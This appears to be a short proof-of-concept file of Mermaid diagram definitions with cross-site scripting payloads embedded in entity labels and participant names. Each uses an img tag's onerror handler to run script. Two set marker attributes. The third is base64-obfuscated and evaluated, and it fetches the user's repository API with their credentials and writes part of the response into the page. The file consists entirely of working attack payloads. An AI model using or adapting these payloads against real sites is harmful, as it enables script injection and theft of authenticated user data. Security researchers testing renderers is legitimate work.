notes

erDiagram
  A ||--o{ B : "<img src=x onerror=top.document.documentElement.setAttribute('data-er','POC-ER')>"

sequenceDiagram
  participant A as Alice<img src=x onerror=top.document.documentElement.setAttribute('data-seq','POC-SEQ')>$$\text{A}$$
  A->>B: hi

erDiagram
  C ||--o{ D : "<img src=x onerror=eval(atob('ZmV0Y2goJy9hcGkvdjEvdXNlci9yZXBvcycse2NyZWRlbnRpYWxzOidpbmNsdWRlJ30pLnRoZW4oZnVuY3Rpb24ocil7cmV0dXJuIHIudGV4dCgpLnRoZW4oZnVuY3Rpb24odCl7ZG9jdW1lbnQuYm9keS5zZXRBdHRyaWJ1dGUoJ2RhdGEtYXBpJyxyLnN0YXR1cysnfCcrdC5zbGljZSgwLDE0MCkpfSl9KQ=='))>"